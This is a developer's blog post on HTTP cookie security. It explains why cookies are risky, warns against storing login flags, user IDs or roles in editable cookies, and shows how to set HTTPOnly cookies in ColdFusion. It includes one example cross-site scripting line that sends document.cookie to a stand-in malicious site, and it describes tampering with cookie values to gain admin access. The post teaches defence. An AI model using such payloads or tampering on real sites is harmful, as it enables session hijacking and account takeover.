Who doesn't love cookies, right? They are delicious little morsels of fatty, sugary goodness that help keep me squishy. But, of course, you know I am not talking about Toll House or Chips Ahoy. I'm talking about HTTP cookies.
Understanding CookiesSo most of us know what cookies are. They are small bits of text information sent back and forth between the server and the browser. Cookies can be used for a number of reasons. But the most important reason for using cookies it to maintain session state. If you don't know how this is done, you can read more about session management and cookies here.
There is a lot more to cookie security than is immediately apparent, so we'll see how many posts this discussion takes. The important thing to know is that cookie security is very important and if not handled properly, you could be opening the door to session hijackers, XSS attacks, and the compromise of sensitive information.
So why is cookie security so important?Cookies can be used for a lot of things. For some of those things, like Session Management, keeping your users' session tokens secure is the only thing keeping them from getting their accounts hijacked.
Cookie security is also important because improperly handled cookie values can be easily intercepted.
Cookies are also misused. Some types of information should not be stored in cookies, yet I am constantly seeing it done. Security information, access control parameters, passwords, etc. Part of cookie security is knowing what type of information is appropriate for cookies, and what isn't.
So what makes cookies vulnerable?There are several things that make cookies a security risk if improperly handled.
- Cookies are store in plain text
- Cookies are transmitted in plain text (Unless using SSL)
- Some cookies persist on the users' machines, even after they close the browser (think public machines)
- If not handled correctly, cookies could be submitted to web servers other than the one you intend
- Cookies can be manipulated by the end user
- Developers put stupid things into cookies
So let's look at some of these issues
Developers do stupid thingsSo let's get this one out of the way. I'll start with a story.
When I first started in Web Development, my mentor was a 10 year Web Development veteran. He made it quite clear that when it came to web development, he was the cock-of-the-walk. I had no reason not to believe him. I was a complete n00b. So he taught me all sorts of seemingly easy web security tricks.
Some of the things I have seen include:
- Storing the UserID/CustID in the cookie to validate identity
- Using values like cookie.isLoggdIn to determine if a user is logged in
- Using cookies to control access (i.e. cookie.role="admin")
All of this seemed fine to me as a n00b. Then I found out that cookies could be edited by the end user. Very bad. I started to play around and realized that I could do things like:
- Change the value of cookie.isLoggedIn to "true" and be instantly logged into the site
- Change my cookie.custID and suddenly be logged in as a different user
- Change cookie.role to "Admin", and be an admin
If a hacker is able to inject a little bit of code somewhere in your site (how does not matter, read more about the methods here) then that code can be used to send your cookies to a malicious site.
window.location="http://www.evilbadwickedsite.com?cookie=" + document.cookie;
And that's it. Your user will be rerouted to the malicious site, and any information in that user's cookie will be appended to the URL, including the user's session token.
So what can we do about it?
Well, of course, the first thing to do is make sure that you are protected from Cross-Site Scripting attacks. I've discussed that in a previous post, so I will not go into it again. Just remember to use Script Protect(or a similar monitoring tool) and to escape all user generated output.
The HTTPOnly attribute was recently added to most of the browsers in use today. When the HTTPOnly flag is set on a cookie, that cookie cannot be accessed via client-side scripting. So our hacker's script above would fail. It would still perform the redirect, but the cookie would not be appended to the URL.
NOTE: HTTPOnly cookies can still be sent over XMLHTTPRequest.
SECOND NOTE: HTTPOnly cookies only work with modern browsers, and some of those still have issues, so do not count on it. It should be used as additional protection, not sole protection.
Now, this is one area where ColdFusion falls a little short. There is not option in the <cfcookie> tag for HTTPOnly, so if you want an HTTPOnly cookie, you need to set it using <cfheader>.
<cfheader name="Set-Cookie" value="cookieName=value;HTTPOnly" />
ColdFusion get's a little more troublesome when you want to do anything to modify your session tokens. I spent the better part of last Friday trying to make CF cooperate with session tokens and security. I finally found a combination that works. I will probably be making a more detailed post on just this topic in the near future, but for now, here is how I was able to make session tokens HTTPOnly:
<cfheader name="Set-Cookie" value="CFID=#session.CFID#;HTTPOnly" />
<cfheader name="Set-Cookie" value="CFTOKEN=#session.CFToken#;HTTPOnly" />
I have a lot more testing to do on this because I am using it in conjunction with the "secure" attribute, which I will be discussing in my next post. I also have not yet had a chance to test this with JSessionID cookies. As I said, I will post more details on these things in the near future.